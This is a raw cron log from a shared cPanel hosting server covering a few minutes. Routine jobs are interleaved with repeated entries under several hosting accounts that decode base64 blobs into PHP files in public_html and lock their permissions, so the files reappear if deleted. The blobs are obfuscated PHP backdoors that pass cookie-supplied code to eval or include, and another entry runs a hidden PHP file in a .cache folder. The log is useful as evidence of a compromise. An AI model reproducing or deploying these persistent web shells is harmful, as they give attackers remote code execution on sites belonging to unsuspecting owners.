Mar  1 11:12:01 medusa CROND[31957]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:12:01 medusa CROND[31958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:12:01 medusa CROND[31959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:12:01 medusa CROND[31960]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:12:01 medusa CROND[31961]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:12:01 medusa CROND[31965]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:12:01 medusa CROND[31964]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:12:01 medusa CROND[31970]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:12:01 medusa CROND[31971]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 11:12:01 medusa CROND[31973]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:13:01 medusa CROND[21687]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:13:01 medusa CROND[21688]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 11:13:01 medusa CROND[21689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:13:01 medusa CROND[21690]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:13:01 medusa CROND[21691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:13:01 medusa CROND[21693]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 11:13:01 medusa CROND[21694]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:13:01 medusa CROND[21696]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:13:01 medusa CROND[21692]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:13:01 medusa CROND[21698]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:13:01 medusa CROND[21709]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:13:01 medusa CROND[21707]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:13:01 medusa CROND[21717]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:13:01 medusa CROND[21719]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 11:14:02 medusa CROND[12111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:14:02 medusa CROND[12151]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:14:02 medusa CROND[12153]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:14:02 medusa CROND[12154]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:14:02 medusa CROND[12155]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:14:02 medusa CROND[12156]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:14:02 medusa CROND[12158]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
